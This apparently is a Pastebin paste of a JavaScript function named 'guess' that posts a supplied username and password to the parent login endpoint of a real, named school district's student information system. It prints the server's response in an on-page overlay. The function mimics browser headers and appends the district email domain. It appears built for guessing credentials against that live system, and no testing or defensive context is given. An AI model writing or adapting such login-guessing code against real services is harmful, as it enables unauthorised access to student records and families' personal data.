Pastebin

function guess(username, password) {
  /* Ensure a display element exists */
  let displayElement = document.getElementById("myParagraph");
  if (!displayElement) {
    displayElement = document.createElement("div");
    displayElement.id = "myParagraph";
    displayElement.style =
      "position:fixed;top:10px;right:10px;z-index:9999;background:white;color:black;border:2px solid red;padding:10px;max-height:200px;overflow:auto;font-family:monospace;width:300px;";
    document.body.appendChild(displayElement);
    displayElement.textContent = "Fetching...";
  }

  /* Your exact fetch logic */
  fetch(
    "https://parents.westfieldnjk12.org/genesis/sis/j_security_check?parents=Y",
    {
      headers: {
        accept:
          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "accept-language": "en-US,en;q=0.9",
        "cache-control": "max-age=0",
        "content-type": "application/x-www-form-urlencoded",
        "sec-ch-ua":
          '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
        "sec-ch-ua-mobile": "?0",
        "sec-ch-ua-platform": '"Windows"',
        "sec-fetch-dest": "document",
        "sec-fetch-mode": "navigate",
        "sec-fetch-site": "same-origin",
        "sec-fetch-user": "?1",
        "upgrade-insecure-requests": "1",
      },
      referrer:
        "https://parents.westfieldnjk12.org/genesis/sis/view?gohome=true",
      body: `idTokenString=&j_username=${username}%40westfieldnjk12.org&j_password=${password}`,
      method: "POST",
      mode: "cors",
      credentials: "include",
    },
  )
    .then(function (response) {
      if (!response.ok) {
        throw new Error("Network response was not ok: " + response.status);
      }
      return response.text();
    })
    .then(function (text) {
      document.getElementById("myParagraph").textContent = text;
    })
    .catch(function (error) {
      console.error("There was a problem with the fetch operation:", error);
      document.getElementById("myParagraph").textContent =
        "Error: " + error.message;
    });
}